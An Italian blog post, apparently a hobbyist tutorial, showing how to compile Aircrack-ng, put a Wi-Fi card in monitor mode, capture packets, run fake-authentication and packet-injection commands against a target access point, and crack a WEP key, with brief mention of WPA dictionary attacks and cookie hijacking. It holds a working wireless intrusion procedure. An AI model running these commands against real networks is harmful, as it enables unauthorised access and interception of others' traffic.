Che fare dopo due settimane di devastanti lavori murari casalinghi?? 😯
Ma si diamoci all’insano cracking!!
Da totalmente niubbio sull’argomento mi sono buttato nel sordido mondo di Aircrack, una di quelle cose (tipo usare Gentoo o compilarmi da solo il Kernel) che ho sempre evitato pensando di essere troppo niubbio per cimentarmici (si dice cimentarmici??..mmm).
Le motivazioni del mio interessamento sono puramente didattiche e senza fini fraudolenti vale la pena di abbozzare l’argomento esaminando quel poco che ho capito in mezzo pomeriggio.
Aircrack-ng è il cuore da cui tutto nasce; per “semplificare” le cose sono stati creati script e programmi con interfaccia grafica (vedi WiFiTe e Fern) che pur avvicinando l’utente medio a questi sistemi lo lasciano totalmente in panne in caso di errori. Sbattere la testa alla sorgente è sempre la soluzione migliore per capirci qualche cosa.
Non c’è che dire, l’interfaccia di Fern è davvero accattivante e permette alcune notevoli operazioni avanzate come il Session Hijacking (intercetta i cookies) e il geotracciamento della connessione.
Anche WiFiTe è un progetto molto molto interessante ma ripeto che alla fine ho iniziato a capirci qualcosa solo da Aircrack-ng “grezzo” che sta alla base di questi programmi (se volete potete divertirvi con le GUI e magari a voi andrà meglio).
Ora dovrei fare il solito noioso elenco delle cose da fare per proteggere al meglio la propria rete ma ve lo risparmio tanto se usate Linux è molto probabile che ne sappiate più di me.
Vediamo (a puro scopo didattico) come scovare la password di una propria rete Wep. E’ sottinteso infatti che qualsiasi uso fraudolento di queste tecniche allo scopo di intercettare connessioni altrui è perseguibile ai termini di legge.
Compiliamo Aircrack-ng (chi usa Debian può anche attingere dai repo sid):
Prepariamo il sistema:
# apt-get update
# apt-get install build-essential wget
# apt-get install libssl-de
Scarichiamo e scompattiamo i sorgenti:
# wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
# tar -zxvf aircrack-ng-1.1.tar.gz
# cd aircrack-ng-1.1
Editiamo il file common.mak:
gedit common.mak
Eliminiamo -Werror da questa riga:
CFLAGS ?= -g -W -Wall -Werror -O3
Che diventerà:
CFLAGS ?= -g -W -Wall -O3
Compiliamo e installiamo:
$ make
# make install
Monitor mode:
Ora dobbiamo mettere la nostra interfaccia di rete in monitor mode, per far si che resti in ascolto di tutti i pacchetti in transito e non solo di quelli diretti a noi.
Consultiamo l’output di iwconfig.
Supponendo che la nostra rete WiFi sia wlan0 (atheros) diamo i comandi:
# airmon-ng stop ath0 # airmon-ng start wlan0 9
Avremo un output cosi:
Interface Chipset Driver wlan0 Atheros ath9k - [phy0] (monitor mode enabled on mon0)
iwconfig darà ora questo risultato:
....... mon0 IEEE 802.11bgn Mode:Monitor Frequency:2.437 Ghz Tx-Power=15 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:on
Le reti wireless:
A questo punto è bene distinguere i protocolli di sicurezza:
Wep: la password è contenuta nei pacchetti stessi e può essere facilmente ricavata mettendo Aircrack-ng in ascolto quando un client è connesso alla rete.
Wpa/Wpa2: occorre individuare la password tramite appositi dizionari per Aircrack-ng (ve ne sono di oltre 30GB!!), se la parola usata non ha un senso finito tale da essere inclusa in uno di questi dizionari scardinare queste reti è assai difficile se non impossibile.
Ho preso in considerazione sempre a scopo di test una connessione Wep.
Con:
airodump-ng wlan0
Ho potuto vedere tutti i dati di cui avevo bisogno per il comando di avvio monitorizzazione:
airodump-ng -c NumeroDelCanale -w /home/Fabrizio/Scrivania/crack/crack --d BssidDell'AccessPoint mon0
Al posto di /home/Fabrizio/Scrivania/crack/crack inserire un percorso a piacere in cui salvare i pacchetti collezionati (consiglio di crearsi una cartella apposita e di non usare il Desktop) il BSSID e il numero del canale del BSSID.
A questo punto Aircrack-ng resterà in ascolto furtivo in attesa della connessione di un dispositivo alla rete che si sta monitorando (in tal caso lo vedrete sutto la scritta STATION). Sarà allora che inizierà la registrazione dei pacchetti in transito, un milione di pacchetti rappresenta una misura più che sufficiente per passare alla fase successiva di decrittazione.
Nel caso dovessimo interrompere potremo riprendere le operazioni in un secondo momento, verranno creati infatti dei file incrementali per ogni sessione di lavoro ad esempio file1,file2,filex ecc, i cui pacchetti alla fine si andranno a sommare nella fase finale di cracking.
Injection dei pacchetti:
E’ possibile anche iniettare direttamente dei pacchetti per ottenere una risposta anziché attendere che vengano scambiati da un client.
Il processo di injection prevede una fake authentication tramite il comando:
aireplay-ng -1 0 -e bssid rete spiata -a mac address sistema spiato -h mac address sistema che spia(da proprietà scheda wifi) mon0
Possiamo aggiungere o modificare alcuni parametri per iniettare il solito set di pacchetti ad un intervallo ciclico di tempo o variare la quantità di dati iniettati.
Si legga la guida ufficiale per i settaggi avanzati.
Io ad esempio ho trovato molto efficace questo:
aireplay-ng -1 1000 -o 100 -q 10 -e NETGEAR -a XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX monX
I driver Compat Wireless:
L’injection spesso non va a buon fine in genere si ha un errore del tipo:
The interface MAC (**:**:**:**:**:00) doesn't match the specified MAC
Questo perché ci occorrono i driver open Compat Wireless (o compat-drivers come si chiamano ora) a cui dovremo applicare una particolare patch.
Vi basterà quindi scaricare gli ultimi sorgenti stabili:
https://www.kernel.org/pub/linux/kernel/projects/backports/stable/
Scompattarli e applicare la patch con:
$ tar xvjf compat-wirelessXXX
$ cd compat-wirelessXXX
$ wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
$ patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
Poi compilare il tutto e incorporarli nel sistema con:
$ make
# make install
# make wlunload
# modprobe driver-name
Per evitare di spararci il megapacchettone con tutti i brand possibili e immaginabili possiamo intervenire selettivamente installando solo i driver del nostro modello di scheda wifi (driver-select).
Per disinstallarli:
$ cd compat-wireless-$(date -I)
# make uninstall
# make wlunload
Se avete invece l’errore:
Waiting for beacon frame (BSSID: 00:1F:33:FC:B1:C3) on channel 1 No such BSSID available
oppure:
Interface mon0: ioctl(SIOCGIFINDEX) failed: No such device
Verificate di avere inserito i parametri corretti (BSSID, canale) ed eventualmente riavviate il sistema e riattivate il monitor mode.
Adesso siamo pronti per iniettare!!
Avviamo il crack:
Una volta collezionati in una o più sessioni all’incirca un milione di pacchetti possiamo dare il via al cracking che nel caso di cifratura Wep non dovrebbe dare problemi.
Diamo il comando:
aircrack-ng percorso/NomeFileDaCuiLeggere*.cap -K -b BssidDell’AccessPoint
percorso/NomeFileDaCuiLeggere*.cap è il percorso dei file contenente i pacchetti intercettati (ad esempio nel mio caso /home/Fabrizio/Scrivania/crack/crack ovvero il file crack creato dal programma nella cartella omonima).
Inizierà il processo di craccaggio che durerà poco se avete collezionato un buon numero di ivs (non come nel mio caso):
Le reti con codifica Wpa/Wpa2 come avevo gia detto necessitano di specifici dizionari, il processo è più laborioso e può non andare sempre a buon fine, si veda questa guida.
Nota: se disponete di una macchina più potente potete trasferirvi sopra la cartella con i pacchetti collezionati, e lanciare il comando da quella macchina (basta avere Aircrack-ng e il BSSID usato in precedenza).
Lo splendente Fern sebbene riduca tutto a premere un bel tastone non è trasparente come Aircrack-ng grezzo da linea di comando che ti fa capire la procedura.
Buona sperimentazione!! 😉
>Video
Screenshot:
Leave a Reply